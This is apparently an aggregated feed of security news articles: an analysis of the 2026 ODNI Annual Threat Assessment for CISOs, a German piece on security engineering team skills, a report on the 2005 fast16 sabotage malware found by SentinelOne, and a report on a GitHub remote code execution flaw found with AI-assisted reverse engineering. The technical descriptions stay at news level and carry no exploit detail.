instilling oversight where it matters. Agents can enhance operations, but only if they’re governed as actors within guardrails and not trusted by default. This article is published as part of the Foundry Expert Contributor Network. Want to join? View the full article

Every year, CISOs, CSOs, and chief risk officers pore over the Office of the Director of National Intelligence (ODNI)’s Annual Threat Assessment (ATA) for insights on emerging threats they may soon face. This year, however, structural changes to the report itself underscore a foundational shift that CISOs, CSOs, and CROs must pay attention to. In March, ODNI issued its 2026 ATA, describing threats to the United States as assessed by the Intelligence Community (IC) writ large. The 2026 ATA has seen a notable bifurcation. While still of use for the CISO/CSO/CRO, it has moved from a global, future-leaning assessment to a report of decidedly active operational reporting. Secondly, it has shifted its focus toward the “Homeland” at the expense of foreign adversary projection, most notably the absence of standalone sections on China, Russia, Iran, and the Democratic People’s Republic of Korea (DPRK). This structural shift is a signal of intelligence contraction. Based on this ATA, the IC has moved from forecasting long-term adversary intent to reporting on immediate domestic stability. The implicit message to the private sector is clear: You are largely on your own. The infrastructure blind spot: Omitted successes Analytically, the most obvious shift in the ATA from the CISO perspective is the omission of the systemic infrastructure vetting that defined the 2025 ATA. The IC appears to assume the story of infrastructure infiltration has been “told.” While the 2025 report provided robust tracking of named campaigns such as Volt Typhoon and Salt Typhoon, which detailed the pre-positioning of access in US water and power, that level of granular visibility is now missing. This is a dangerous assumption because “pre-positioning” does not expire. By pivoting away from these long-term “hidden wars,” the 2026 report tethers cyber analysis almost exclusively to active kinetic conflict. We are now being briefed on reactive events, such as retaliatory strikes against medical technology firms, rather than the persistent, systemic infiltration of the infrastructure, supply chains, and company grids. The bifurcated framework: Operational reporting vs. homeland focus The report now operates on two distinct tracks that risk narrowing the threat horizon for CROs. In a departure from traditional probabilistic forecasting, the IC has transitioned toward active operational reporting. This shift prioritizes immediate success metrics, such as a significant drop in border encounters and fentanyl seizures, framing these as clear operational wins. For the enterprise, this signals a significant contraction of the “early warning” function. Rather than receiving a strategic roadmap regarding the evolution of adversary strategy, security leaders are being briefed on the tactical aftermath of US policy. Parallel to this operational pivot is a decisive movement toward a homeland-centric defensive posture. This pivot has effectively eclipsed foreign adversary projection as the lead intelligence priority. The IC has elevated domestic ideological infiltration to a primary concern, identifying specific ideological movements as fundamental threats to Western principles and foundational security. This internal focus is paired with a massive reinvestment in domestic kinetic defense, exemplified by the Golden Dome for America. With the global missile threat projected to reach 16,000 by 2035, the intelligence focus has turned inward to defend the US interior, leaving the private sector to bridge the gap in understanding how foreign adversaries are adapting in the shadows. Adversary status: The regional dissipation The structural shift in the 2026 assessment is more than a change in document formatting; it is a signal of intelligence contraction. By prioritizing immediate domestic metrics and homeland defense, the ODNI’s ATA has effectively dispersed the threats, essentially outsourcing the strategic heavy lifting to the private sector. The implicit message is clear: The government is now tracking the aftermath of its policies, but the burden of forecasting adversary adaptation and long-term intent now rests entirely on your shoulders. From this jaded eye, the following are the most glaring omissions: China: The illusion of economic pragmatism The 2026 report has effectively archived the systemic threat posed by the People’s Republic of China, omitting the robust tracking of named infrastructure campaigns like Volt Typhoon and Salt Typhoon that defined the 2025 brief. By folding China into a broader Asia regional challenge, the IC has swapped strategic warning for a narrative of economic pragmatism. The report prioritizes the Busan Agreement and the lack of a fixed 2027 invasion timeline for Taiwan as signs of a stable relationship. For the C-suite, this is a dangerous dilution. China has had and continues to have an all-of-government and nation approach to adversarial relationships, to include preparing the technological environments for future conflict. The absence of reporting on pre-positioned cyber access does not mean that access has been removed; it simply means the ODNI chose not to share information about it. Russia: The neighborhood challenger Russia has been downgraded from a global spoiler to a neighborhood challenger focused on the Arctic and its immediate near abroad. The 2026 assessment omits the detailed analysis of Russian hybrid warfare and de-dollarization strategies that were hallmarks of prior years. In addition, the Russian misinformation and disinformation capabilities targeting the United States and other nations is largely omitted. Instead, it signals a desire for a geostrategic thaw contingent on a settlement in Ukraine. This regional focus masks Moscow’s continued development of asymmetric capabilities, such as satellite-based nuclear weapons and gray zone tools, which remain persistent threats to global enterprise operations regardless of a localized ceasefire. The Democratic People’s Republic of Korea: The invisible proxy The DPRK has nearly vanished as a standalone strategic priority. The 2026 report omits the deep-dive analysis into Pyongyang’s nuclear brinkmanship, viewing the regime instead through the lens of its tactical partnership with Russia. While the report briefly mentions the $1 billion dollars annually netted through cybercrime, it fails to project how the regime’s new combat experience in Europe will refine its special operations or its human insider infiltration tactics. By treating the nation as a secondary proxy, the ODNI ignores its agile evolution into an independent, global cyber-mercenary force. Iran: The fragmented adversary The most significant omission regarding Iran is the lack of a projected roadmap for its asymmetric recovery. The 2026 assessment characterizes the regime as severely degraded and facing its most fragile internal state since the 1980s. Given the assessment that was issued two weeks into Operation Epic Fury, it fails to address how Tehran will adapt its “Axis of Resistance” into a more decentralized, cyber-centric threat. For the enterprise, the report’s focus on internal survival obscures a capacity for opportunistic, retaliatory strikes against Western commercial interests, a vector that often intensifies when a regime feels its conventional power is slipping. Now, 60-plus days into Operation Epic Fury, Iran’s capabilities remain, albeit in a degraded capacity. Actionable close: The resilience premium framework The 2026 ATA marks a departure from systemic state-actor tracking, signaling that the burden of discovery and long-term strategic defense has shifted to the private sector. CISOs and CROs must fund a “resilience premium” (cybersecurity spend) to address these emerging operational specifics. This investment represents a fundamental analytic pivot, namely prioritizing resilience over pure efficiency to ensure task-critical assets remain functional during systemic shocks. Here are four domains where CISOs and CROs should take action to ensure resilience: 1. Identity and insider integrity (the human vector): Action: Overhaul identity proofing for remote hires to counter the DPRK’s agile use of IT workers with falsified credentials to gain “human insider access.” Action: Expand insider threat programs beyond data theft to include utilization of enterprise resources by those sympathetic to an “ideological” segment. The ATA would have one create an “ideological radicalization” detection capability, when the reality is a robust insider program focused on coherence, behavior, and intent will serve one well. 2. Infrastructure continuity (the “Typhoon” legacy): Action: Conduct a “dormant access audit” of all industrial control systems (ICS). Since the IC has ceased public tracking of specific pre-positioning campaigns, the burden of identifying these “held in reserve” disruptive options now rests entirely on you. Action: Execute a C-suite tabletop focused on a “regional escalation” scenario where pre-positioned access is triggered during geopolitical tension. Include the loss of infrastructure due to kinetic events as witnessed when the UAE sustained damage to key buildings, some of which hosted the regional support for Amazon Web Services (AWS). Algorithmic defense (AI and quantum): Action: Re-baseline quantum migration roadmaps with an 18-to-24-month hard deadline for crown-jewel systems. The IC assesses the threat of a cryptographically relevant quantum computer (CRQC) as an extraordinary technological advantage that will break current encryption protecting finance and healthcare data. Action: Force-multiply the defensive stack with AI-driven anomaly detection to counter the adversary’s use of AI as a defining technology to accelerate the speed and scale of cyber operations. Intelligence integration: Action: Deepen public-private intelligence flows via Information Sharing and Analysis Centers (ISACs) and direct agency relationships. Use the 2026 ATA’s shift to “active operational reporting” as the catalyst for establishing more robust, independent bilateral sharing agreements. In closing, the 2026 ATA told us what has already happened. The enterprise’s job now is to figure out what happens next. You have the remit and the tools, formulate the plan and act. View the full article

Lesen Sie, worauf es bei der Zusammenarbeit zwischen Ihrem IT-Security- und Engineering-Team ankommt. Foto: Lipik Stock Media – shutterstock.com Security-Teams bestehen in erster Linie aus Mitarbeitern, die für den Betrieb und die Einhaltung von Vorschriften und Richtlinien zuständig sind. IT-Sicherheitstechnik-Teams, neudeutsch Security-Engineering-Teams, hingegen sind Konstrukteure. Sie entwickeln Dienste, automatisieren Prozesse und optimieren Bereitstellungen, um das zentrale IT-Sicherheitsteam und seine Stakeholder zu unterstützen. Das Security-Engineering-Team bestehen in der Regel aus Software- und Infrastrukturingenieuren, Architekten und Produktmanagern. Technische Fähigkeiten im Bereich IT-Sicherheitstechnik Security Engineering ist im Wesentlichen eine technische Disziplin, so dass eines der grundlegenden Elemente dieser Rolle natürlich in der Technologie verwurzelt ist. Dies sind die wesentlichen Fähigkeiten, die CISOs in ihren Security-Engineering-Teams vermitteln und entwickeln sollten: Verstehen des technischen Umfelds Dass es von entscheidender Bedeutung ist, die technische Umgebung zu verstehen und in ihr zu arbeiten, scheint eine Selbstverständlichkeit zu sein. Doch wenn ein Unternehmen beispielsweise Dienste in Kubernetes bereitstellt und das Technikteam noch nie mit Containern gearbeitet hat, ist das ein Problem. Ein hohes Maß an technischem Verständnis der gesamten IT-Umgebung wirkt sich positiv auf das Security-Team aus. Ein Kontrapunkt dazu ist die Förderung eines vielfältigen Teams in Bezug auf die Fähigkeiten, Problemlösungsperspektiven und Erfahrungsstufen in den verschiedenen Bereichen eines Unternehmens. Es gibt natürlich viele Möglichkeiten, diese Vielfalt in einem Team anzustreben und zu fördern, vom Geschlecht und der ethnischen Zugehörigkeit über den Bildungshintergrund bis hin zu früheren Berufserfahrungen und dem Alter. Diversität kann die kreative Energie eines Teams stark erhöhen, wenn Ideen in Frage gestellt, debattiert und wiederholt werden. Allerdings sollten Führungskräfte mit der Vielfalt an Perspektiven und Erfahrungen sorgfältig umgehen. Ein übermäßiges Maß an Variation und Reibung im Denk- und Kooperationsprozess kann zum Gegenteil der gewünschten Wirkung führen. Häufig kommt es zu einer Analyse-Paralyse, bei der die Teams in einem Zustand des Nachdenkens über das Tun statt des Tuns stecken bleiben. Ein ähnlicher Zustand, der sich aus übermäßig unterschiedlichen Teams ergeben kann, ist eine komplexe Reihe von voneinander abhängigen Ergebnissen, die miteinander verbundene Fehlerbedingungen aufweisen. Den gesamten Stack beherrschen IT-Sicherheitstechnikteams sollten in der Lage sein, die von ihnen entwickelten Dienste zu erstellen und zu betreiben. Dieses Maß an Eigenverantwortung innerhalb einer Gruppe ist aus Sicht der technischen Kompetenz und aus kultureller Sicht von entscheidender Bedeutung, da es den Ton in Bezug auf die Verantwortlichkeit angibt. Technisch gesehen wird ein Team, das in der Lage ist, seine Dienste selbst zu verwalten, die Infrastruktur, die CI/CD-Tools, die Security-Tools, den Anwendungscode, die Deployments und die von einem Dienst ausgehenden operativen Telemetriedaten kompetent verwalten. Darüber hinaus sind die Fähigkeiten, die hinter der Unterstützung durch ein Team stehen, in hohem Maße übertragbar, um andere Gruppen im Unternehmen zu unterstützen. Das Entwicklererlebnis miteinbeziehen (DevX) Security-Teams, die das Entwickler-Tool DevX verstehen, annehmen und optimieren, werden wahrscheinlich besser zusammenarbeiten. Darüber hinaus wird ein besonderer Schwerpunkt auf der Beseitigung von Reibungsverlusten liegen. Reibung führt dazu, dass Dinge länger dauern und mehr kosten, dass sich Lernzyklen verlängern und dass Frustration auftritt. Weniger Reibung wird dazu führen, dass die Dinge im Allgemeinen viel besser ablaufen. Manchmal sind Reibungen aber auch notwendig und sollten gewollt sein. Ein Beispiel ist eine erzwungene Codeüberprüfung von kritischem Code, bevor er zusammengeführt wird. Wenn diese Unterbrechung, Überprüfung und Zusammenführung auf einer bewussten Entscheidung beruht, ist das eine gerechtfertigte, bewusste Reibung. Wenn das IT-Sicherheitsteam Reibungsverluste im Freigabeprozess von Entwicklern anstrebt, sollten diese auf spezifischen Anforderungen beruhen, zum Beispiel auf einer Compliance-Kontrolle, die eine manuelle Überprüfung als Teil des Change Managements vorschreibt. Diese Kontrollen sollten nicht unüberlegt eingesetzt werden. Die Reibungsverluste, die den Entwicklern entstehen, stellen Nachteile dar, die jedes vom IT-Sicherheitsteam in Betracht gezogene, nicht definierte Risiko aufwiegen könnten. IT-Sicherheitsteams, die die Erfahrung der Entwickler als oberste Priorität betrachten, müssen die Werkzeuge und Abläufe verstehen, die für das Schreiben von Qualitätssoftware auf verschiedenen Ebenen des Stacks erforderlich sind. Die Übernahme dieser Denkweise, bei der der Entwickler im Vordergrund steht, erfordert möglicherweise Kenntnisse im Bereich Infrastruktur oder Plattform-Engineering. Andererseits kann sich der Output eines IT-Sicherheitstechnik-Teams auf andere auswirken, die ebenfalls mit der Automatisierung von Arbeitsabläufen, der Verbindung von Diensten untereinander und im Wesentlichen mit der gemeinsamen Instrumentierung einer immer größer werdenden Umgebung beschäftigt sind. All diese Arbeiten helfen den Entwicklern, schneller und mit weniger Reibungsverlusten zu arbeiten. Resultat sind mehr Flexibilität und ein schnelleres Deployment. Unabhängig davon ist dies eine Eigenschaft und ein Leitfaden, von dem ein Security-Engineering-Tem in seiner Produktivität profitiert und das Einfühlungsvermögen derer, denen es dient, fördert und kultiviert. Fähigkeiten zur Führung und Zusammenarbeit in der Sicherheitstechnik Security-Entwickler-Teams arbeiten nicht im luftleeren Raum, unabhängig von ihrem Umfang und ihrer Projektauslastung. Die Arbeit an der Seite und im Dienste anderer ist ein wesentlicher Bestandteil des Auftrags. Sie ist ein notwendiger Teil des Ganzen und hilft anderen, erfolgreiche Ergebnisse zu erzielen. Kommunizieren und zusammenarbeiten Die Mitglieder des Security-Engineering-Teams sollten in der Lage sein, miteinander und mit den Beteiligten außerhalb der Gruppe zu kommunizieren. Darüber hinaus sollten sie die Fähigkeit besitzen, gut zusammenzuarbeiten, um die gemeinsamen Ziele zu erreichen. Verstehen der Probleme, der Reibungspunkte, der Beschränkungen und der Möglichkeiten der IT-sicherheitsorientierten Entwicklung. Letztendlich ist es wichtiger, die richtigen Dinge zu tun, als einfach nur effizient zu arbeiten. All diese Fragen müssen durch gezielte Kommunikation und Zusammenarbeit erforscht werden. Dies kann sich in menschenzentrierten Gestaltungsprinzipien, matrixbasierten Ressourcen oder einer auf Teamtopologien basierenden Ausrichtung manifestieren. Natürlich gibt es kein Patentrezept für die Kommunikation und Zusammenarbeit in und zwischen Teams. Unabhängig von der Herangehensweise sind Vertrauensbildung, Einfühlungsvermögen, Interesse an gemeinsamen Zielen und die Bereitschaft, den eigenen Stolz zugunsten der Mission zurückzustellen, die Grundlage. Führen und andere beeinflussen Seth Godin, Bestsellerautor und Marketingexperte, vertritt die Ansicht, dass jeder eine Führungspersönlichkeit sein kann – es ist eine Entscheidung, kein Titel. Es geht um das Zusammentreffen von Ideen, eine Lücke in der Richtung und jemanden, der motiviert genug ist, sich zu engagieren. Der Erfolg von Security-Engineering-Teams ist, wie bei anderen Cybersecurity-Bereichen auch, von anderen abhängig. Er ist jedoch unabhängig von der Leistung des Teams, so optimal diese auch sein mag. Anders ausgedrückt: Man kann nicht einfach etwas bauen und dann gehen. Sie müssen anderen zuhören, sie einbeziehen, sie zur Übernahme bewegen und vieles mehr. All das erfordert Führung. Genauer gesagt, Führung ohne Autorität. Die Mitglieder eines leistungsstarken Teams sollten in der Lage sein, das IT-Sicherheitstechnikteam selbst zu leiten und außerhalb der Gruppe Einfluss aufzubauen und zu nutzen. Das kann mit anderen Beteiligten oder mit internen Kunden eines Dienstes geschehen. Führen ohne Autorität bringt das Team dem Erfolg näher. Starke Beziehungen, organisatorisches Wissen und Kontext sowie technisches Fachwissen sollte zusammengebracht werden, um andere zu beeinflussen. Soft Skills für Sicherheitsingenieure Die Fähigkeiten eines Security Engineers und des gesamten Teams sollten über Kommunikation und Zusammenarbeit hinausgehen. In diesem Zusammenhang bezieht sich der Begriff “Soft Skills” auf die zahlreichen nichttechnischen Fähigkeiten, die eher nach innen gerichtet sind und die technischen Fähigkeiten ergänzen. Zeit- und Prioritätenmanagement Security-Entwickler werden immer viel zu tun haben. Die technischen Fähigkeiten führen dazu, dass häufig Anfragen zum Erstellen, Härten, Patchen oder allgemein zum Einmischen in die Software einer Umgebung eingehen werden. Zeit ist eine universelle Einschränkung für alle Teams. Aus diesem Grund müssen sowohl Einzelpersonen als auch Teams effektiver darin werden, Prioritäten zu setzen. Effizient zu sein, aber die falschen Dinge zu tun, bringt keinen Fortschritt. Es gibt viele Techniken, um Arbeit zu priorisieren, Wert gegen Komplexität abzuwägen und sich auf die Kundenzufriedenheit zu konzentrieren oder verschiedene Faktoren zu gewichten. Kunden- und Compliance-Anforderungen sind oft die treibende Kraft hinter den Prioritäten des Teams. Die Art der Prioritätensetzung ist weniger wichtig als die rücksichtslose Einhaltung der Prioritäten und der Schutz vor dem endlosen Ansturm von Anfragen, die mehr wertvolle Zeit in Anspruch nehmen. Anpassungsfähigkeit Security-Engineering-Teams sollten in der Lage sein, sich an veränderte Anforderungen, Technologien und Umstände anzupassen. Anpassungsfähigkeit bedeutet mehr als die Priorisierung einer Aufgabe gegenüber einer anderen: Entscheiden ist die Anpassung der Herangehensweise an ein Problem auf der Grundlage der Bedürfnisse der Beteiligten. IT-Sicherheitstechnikteams müssen sich an die Eigenverantwortung auf der Grundlage des Teamwachstums und der sich ändernden Bedürfnisse der Interessengruppen sowie an die bewusste Einbeziehung einer vielfältigen Gruppe von Stimmen in den Problemlösungsprozess anpassen. Der Nutzen für die Beteiligten und die gesamte IT-Sicherheitsorganisation liegt dabei in der Agilität und Flexibilität. Ein agiles Team ist ein widerstandsfähigeres Team. Kontinuierliches Lernen Ein Team, das in der Lage ist, ständig neue Fähigkeiten, organisatorische Zusammenhänge, Richtlinien und Arbeitsweisen zu erlernen, ist in der heutigen schnelllebigen Welt unbedingt notwendig. So sollten sich Mitglieder des Security Engineering-Teams ständig weiterentwickeln, sich selbst erneuern und auf bestehenden mentalen Modellen und Erfahrungen aufbauen. Dieses Konstrukt mentaler Modelle ermöglicht es Menschen, in Situationen einzutreten, die ähnliche Eigenschaften aufweisen wie etwas, an dem sie zuvor gearbeitet haben, und damit zu beginnen, etwas beizutragen, zu erforschen und zu tun. Kontinuierliches Lernen kann sich auch auf die Kultur in einer Organisation auswirken. Wissen führt zum Austausch, Austausch führt zu Diskussionen und die Diskussion über neue Dinge weckt Interesse und Gespräche. Diese kollektive Entwicklung der mentalen Modelle, die das Unternehmen durchdringen, und der Art und Weise, wie Teams mit IT-Sicherheit umgehen und sich darauf beziehen, bringt die Kultur der Zusammenarbeit voran. Die Arbeit in diesem hoch spezialisierten Bereich bedeutet nicht, dass sich ein leistungsstarkes Team nur auf die Technologie konzentrieren kann. Menschen, die Erforschung von Problemen, der Aufbau von Beziehungen und die Festlegung von Prioritäten sind allesamt wesentliche Bestandteile eines leistungsstarken Sicherheitstechnikteams. Achten Sie beim Aufbau Ihres Teams darauf, diese Elemente zu investieren und zu pflegen. (jm) Dieser Beitrag basiert auf einem Artikel unserer US-Schwesterpublikation CSO Online. View the full article

Designed to cripple Iran’s nuclear enrichment program, the 2010 Stuxnet worm set a cybersecurity precedent as the first time a nation escalated its activities from strategic espionage to sabotage in cyberspace. Now, a new discovery suggests such operations were in full swing years before Stuxnet came to light. Researchers from SentinelOne have tracked down samples of a malware framework that was active in 2005 and targeted engineering modeling software by corrupting high-precision floating-point arithmetic operations. One component of the framework, a kernel driver called fast16.sys, is briefly mentioned in the 2017 Shadow Brokers leak of documents covering exploits and tools used by US National Security Agency cyber teams. “This 2005 attack is a harbinger for sabotage operations targeting ultra expensive high-precision computing workloads of national importance like advanced physics, cryptographic, and nuclear research workloads,” the SentinelOne researchers said in their report. The malware framework uses a variety of techniques that are considered very advanced for malware from that era. A copy was uploaded to the VirusTotal online scanning engine almost a decade ago but remained undetected until researchers went on a hunt for pieces of malware that embed a Lua virtual machine. The malware uses more than 100 rules to identify the exact workloads it should sabotage. While the researchers don’t know exactly what those workloads were, based on those rules they’ve narrowed down the list of targeted applications to three engineering programs, one of which appears in reports about Iran’s nuclear program and another being widely used in China for construction and structural design. Chasing Lua-enabled malware Lua is a programming language that originated in the early 1990s and is very popular in game and embedded systems development. Its primary attraction is that it can be embedded into existing C and C++ applications as a scripting engine. Lua is used in modern malware to provide a way to obfuscate and deliver payloads in the form of scripts that get loaded and executed by the embedded Lua VM inside the main loader. One of the first threat actors to employ this technique is the Equation Group, an APT group that’s widely associated with the NSA’s Tailored Access Operations (TAO) team. “We wanted to determine whether that development style arose from a shared source, so we set out to trace the earliest sophisticated use of an embedded Lua engine in Windows malware,” the researchers said. This led to the discovery of a file called svcmgmt.exe, a malicious executable from the Windows 2000/XP era, originally created in 2005. The file is a modular service binary that uses encrypted Lua bytecode for most of its logic and includes two payloads: a file called ConnotifyDLL and one called fast16.sys. In addition, svcmgmt.exe can execute additional Lua payloads dubbed wormlets that are used for propagation to other systems. For example, one of the identified wormlets, called SCM, attempts to copy the malware to network shares and then execute it as a remote service. This makes svcmgmt.exe the earliest documented Lua worm. An unusual rootkit that corrupts floating point calculations The fast16.sys payload is even more interesting as it is loaded as a kernel filesystem driver that can intercept and modify executable code when it’s read from disk. Malware components that install themselves as kernel drivers are called rootkits because they provide the highest possible privileges on the system. In the Windows XP era, when system drivers didn’t require trusted digital signatures to be installed, rootkits were common and were used to hide the malware program’s components and activity. However, fast16.sys has a very specific purpose. The driver monitors for the execution of .exe files compiled with the Intel C/C++ compiler, injects additional sections in their headers, and then applies a complex set of 101 bytecode pattern matching and replacement rules. While some of the logic targets typical x86 instructions with the goal of hijacking execution flow, one injected block stands out as highly unusual for malware operations: a complex sequence of Floating Point Unit (FPU) instructions dedicated to precision arithmetic and scaling values in internal arrays. When the researchers took those pattern matching rules and ran them against a large corpus of legitimate software from that era, only 10 files matched. All were calculation tools used in domains such as civil engineering, physics, and physical process simulation. “The FPU patch in fast16.sys was written to corrupt these routines in a controlled way, producing alternative outputs,” the researchers said. “This moves fast16 out of the realm of generic espionage tooling and into the category of strategic sabotage. By introducing small but systematic errors into physical‑world calculations, the framework could undermine or slow scientific research programs, degrade engineered systems over time or even contribute to catastrophic damage.” Furthermore, due to its ability to infect other systems over the network, it’s likely that more engineering workstations and servers in an environment would have been compromised, so attempts to verify the calculation by running the same simulation on multiple systems could have returned the same bogus results. Engineering simulation targeted SentinelOne identified three software programs that contain code matching the patching engine. One, LS-DYNA version 970, is an engineering simulation software suite that uses high-precision calculations to determine how materials behave under extreme conditions, such as high-speed impacts, crashes, explosions, metal forming, and so on. The software was used in many industries, including automotive, aerospace, defense and manufacturing, but is also mentioned in public reporting related to Iran performing tests on warheads in connection to its AMAD program for developing nuclear weapons. Another likely identified target, known as Practical Structural Design and Construction Software (PKPM), is a CAD suite widely used in civil engineering and building design in China. The software can simulate concrete shear design for beams and columns, providing seismic, wind, and load analysis for high-rise buildings. The third potential target that matched the rules, Modelo Hidrodinâmico (MOHID), is an open-source water modeling system developed at the Instituto Superior Técnico in Lisbon, Portugal. The software covers hydrodynamics, water quality simulation, sediment transport, oil spill modeling, and Lagrangian particle tracking. Implications The SentinelOne researchers could not definitely say which workflows from these three possible programs were specifically targeted by the malware, but the implication is clear: Strategic industrial sabotage using malware was being performed by nation-state actors as far back as 20 years ago, before Stuxnet was used to damage uranium enrichment centrifuges at Iran’s nuclear plant in Natanz by injecting malicious code into programmable logic controllers. “If I had to guess, I think the target was the simulation of specific material physics, and the implant was intended to mess with their characteristic curves (e.g. stress-strain),” independent researcher Ruben Santamarta, who also analyzed the fast16 FPU patching code, posted on LinkedIn. “For example, this would make engineers think something is more resistant than expected, when in reality, it would fail earlier than expected … as in Stuxnet.” Santamarta, who has been researching proof-of-concept attacks against nuclear-related devices and software, said that finding something in the wild that’s potentially capable of causing physical failures by sabotaging the design phase represents a paradigm shift. “The thing is, it happened 20 years ago, so it would be interesting to revisit some of the failures in certain countries over the years, stare at the monitor for a while, and just ponder the possibilities,” he posted. View the full article

A critical remote code execution (RCE) vulnerability in GitHub could potentially allow attackers to execute arbitrary code on GitHub.com and GitHub Enterprise Server. Uncovered by Wiz researchers, the now-patched bug exploited how GitHub handles server-side “git push” operations. By crafting malicious input within a standard Git push, an authenticated user could execute arbitrary commands via GitHub’s backend Git processing pipeline. GitHub acknowledged the severity of the finding, with CISO Alexis Wales noting, “A finding of this caliber and severity is rare, earning one of the highest rewards available in our Bug Bounty program.” GitHub fixed the issue on GitHub.com and released patches for all supported versions of GitHub Enterprise Server within hours of the report. However, Wiz said that 88% of Enterprise Server instances remained vulnerable on the internet at the time of public disclosure. GitHub’s faulty processing of git push The flaw, tracked as CVE-2026-3854, stemmed from how GitHub processes git push requests within its backend Git infrastructure. According to Wiz, the issue involves an internal component referred to as X-STAT, which sits in the path of GitHub’s server-side handling of Git operations. Wiz researchers found that a specially crafted git push could pass maliciously structured input into X-STAT, where it was not safely handled before being incorporated into backend command execution. Because this processing happens server-side as part of GitHub’s normal handling of repository events, the input could influence how commands were constructed or executed within that pipeline. The flaw received a near-critical CVSS rating of 8.8 out of 10, and was fixed in GitHub Enterprise Server versions 3.14.25 through 3.20.0. The flaw was categorized by GitHub as a “command injection” issue, resulting from “improper neutralization of special elements used in a command.” AI was reportedly used in finding this flaw, using the IDA MCP (AI-augmented) reverse engineering tooling. “This is one of the first critical vulnerabilities discovered in closed-source binaries using AI, highlighting a shift in how these flaws are identified,” Wiz researcher Sagi Tzadik said in a blog post. “Despite the complexity of the underlying system, the vulnerability is remarkably easy to exploit.” Full compromise across tenants In its analysis, Wiz detailed how the issue could be escalated from initial command execution to full remote code execution on affected systems. “On GitHub.com, this vulnerability allowed remote code execution on shared storage nodes. We confirmed that millions of public and private repositories belonging to other users and organizations were accessible on the affected nodes,” Tzadik said, adding that the impact was even more severe for self-hosted environments. On GitHub Enterprise Server, the vulnerability granted full server compromise, including access to all hosted repositories and internal secrets. Wiz confirmed that it did not access the contents of other tenants’ repositories while testing the exploit. “ We validated the cross-tenant exposure using only our own test accounts, confirming that the git user’s filesystem permissions would allow reading any repository on the node,” Tzadik added. GitHub shared remediation steps and full technical details in a security blog post, adding that “GitHub Enterprise Cloud, GitHub Enterprise Cloud with Enterprise Managed Users, GitHub Enterprise Cloud with Data Residency, and github.com were patched on March 4, 2026. No action is required from users of any of these.” GitHub Enterprise Server users were urged to patch immediately with fixes available for all supported versions. View the full article